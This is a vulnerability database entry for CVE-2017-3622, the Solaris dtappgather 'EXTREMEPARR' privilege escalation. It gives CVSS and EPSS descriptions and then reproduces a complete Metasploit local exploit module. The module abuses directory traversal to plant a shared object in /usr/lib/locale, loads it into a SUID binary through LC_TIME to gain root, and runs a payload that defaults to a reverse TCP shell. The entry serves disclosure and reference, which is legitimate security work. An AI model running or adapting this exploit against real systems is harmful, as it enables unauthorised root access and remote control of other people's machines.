Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE Other |
No informations. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 45479
Publication date : 2018-09-24
22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Solaris::Priv
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation",
'Description' => %q{
This module exploits a directory traversal vulnerability in the
`dtappgather` executable included with Common Desktop Environment (CDE)
on unpatched Solaris systems prior to Solaris 10u11 which allows users
to gain root privileges.
dtappgather allows users to create a user-owned directory at any
location on the filesystem using the `DTUSERSESSION` environment
variable.
This module creates a directory in `/usr/lib/locale`, writes a shared
object to the directory, and runs the specified SUID binary with the
shared object loaded using the `LC_TIME` environment variable.
This module has been tested successfully on:
Solaris 9u7 (09/04) (x86);
Solaris 10u1 (01/06) (x86);
Solaris 10u2 (06/06) (x86);
Solaris 10u4 (08/07) (x86);
Solaris 10u8 (10/09) (x86);
Solaris 10u9 (09/10) (x86).
},
'References' =>
[
['BID', '97774'],
['CVE', '2017-3622'],
['EDB', '41871'],
['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'],
['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html']
],
'Notes' => { 'AKA' => ['EXTREMEPARR'] },
'License' => MSF_LICENSE,
'Author' =>
[
'Shadow Brokers', # exploit
'Hacker Fantastic', # dtappgather-poc.sh
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Apr 24 2017',
'Privileged' => true,
'Platform' => ['solaris', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],
'Targets' => [['Auto', {}]],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' =>
{
'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
# Some useful example SUID executables:
# * /usr/bin/at
# * /usr/bin/cancel
# * /usr/bin/chkey
# * /usr/bin/lp
# * /usr/bin/lpset
# * /usr/bin/lpstat
# * /usr/lib/lp/bin/netpr
# * /usr/sbin/lpmove
OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']),
OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def suid_bin_path
datastore['SUID_PATH']
end
def dtappgather_path
datastore['DTAPPGATHER_PATH']
end
def mkdir(path)
vprint_status "Creating directory '#{path}'"
cmd_exec "mkdir -p '#{path}'"
register_dir_for_cleanup path
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_compile(path, data)
upload "#{path}.c", data
output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
register_file_for_cleanup path
end
def symlink(link_target, link_name)
vprint_status "Symlinking #{link_target} to #{link_name}"
rm_f link_name
cmd_exec "ln -sf #{link_target} #{link_name}"
register_file_for_cleanup link_name
end
def check
[dtappgather_path, suid_bin_path].each do |path|
unless setuid? path
vprint_error "#{path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{path} is setuid"
end
unless has_gcc?
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
vprint_good 'gcc is installed'
version = kernel_release
if version.to_s.eql? ''
vprint_error 'Could not determine Solaris version'
return CheckCode::Detected
end
unless Gem::Version.new(version).between? Gem::Version.new('5.7'), Gem::Version.new('5.10')
vprint_error "Solaris version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Solaris version #{version} appears to be vulnerable"
CheckCode::Appears
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
# Remove appmanager directory and contents
appmanager_path = '/var/dt/appconfig/appmanager'
vprint_status "Cleaning appmanager directory #{appmanager_path}"
cmd_exec "chmod -R 755 #{appmanager_path}/*"
cmd_exec "rm -rf #{appmanager_path}/*"
rm_f appmanager_path
# Create writable directory in /usr/lib/locale
locale_path = '/usr/lib/locale'
locale_name = rand_text_alphanumeric 5..10
new_dir = "#{locale_path}/#{locale_name}"
vprint_status "Creating directory #{new_dir}"
depth = 3
cmd_exec "DTUSERSESSION=. /usr/dt/bin/dtappgather"
depth.times do
cmd_exec "DTUSERSESSION=.. /usr/dt/bin/dtappgather"
end
symlink locale_path, appmanager_path
cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"
unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name
fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"
end
print_good "Created directory #{new_dir}"
register_dir_for_cleanup new_dir
rm_f appmanager_path
cmd_exec "chmod 755 #{new_dir}"
# Upload and compile shared object
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
mkdir base_path
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_path}/#{payload_name}"
so = <<-EOF
void __attribute__((constructor)) cons() {
setuid(0);
setgid(0);
execle("#{payload_path}", "", 0, 0);
_exit(0);
}
EOF
so_name = ".#{rand_text_alphanumeric 5..10}"
so_path = "#{base_path}/#{so_name}"
upload_and_compile so_path, so
vprint_status "Writing shared objects to #{new_dir}"
cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'"
register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2"
cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'"
register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3"
# Upload and execute payload
upload payload_path, generate_payload_exe
cmd_exec "chmod +x #{payload_path}"
print_status 'Executing payload...'
cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo "
end
end
Products Mentioned
Configuraton 0
Oracle>>Solaris >> Version 10
References
